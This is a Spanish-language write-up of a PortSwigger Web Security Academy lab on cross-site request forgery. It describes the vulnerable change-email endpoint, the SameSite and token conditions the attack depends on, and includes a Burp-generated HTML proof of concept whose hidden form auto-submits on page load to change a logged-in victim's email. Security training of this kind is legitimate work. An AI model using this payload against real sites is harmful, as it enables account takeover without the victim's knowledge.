CSRF PoC – Change Email¶
Objetivo¶
Forzar a un usuario autenticado a enviar una solicitud POST a /my-account/change-email para cambiar su correo, sin su interacción explícita.
Endpoint vulnerable¶
- Método:
POST - Ruta:
/my-account/change-email - Host:
0ad0004604857369813b3949005d00b3.web-security-academy.net - Parámetro:
email
Requisitos para que funcione¶
- La víctima debe estar logueada en el sitio objetivo en el mismo navegador.
- La aplicación no debe validar un token CSRF efectivo (o debe ser inexistente/invalidable).
- Si el navegador envía cookies cross-site, depende del atributo
SameSitede la cookie de sesión: SameSite=None(conSecure) suele permitirlo.Lax/Strictnormalmente lo bloquea paraPOSTcross-site.
Prueba de concepto (HTML)¶
Guardar como csrf-change-email.html y servirlo desde cualquier origen (o desde el exploit server del lab).
Utilicé el PoC generado por Burp Suite Professional, que incluye un formulario oculto que se autoenvía al cargar la página. Hay que poner que auto envíe el formulario para que el ataque se ejecute sin interacción del usuario.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ad0004604857369813b3949005d00b3.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="gaspar.onesto@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
</html>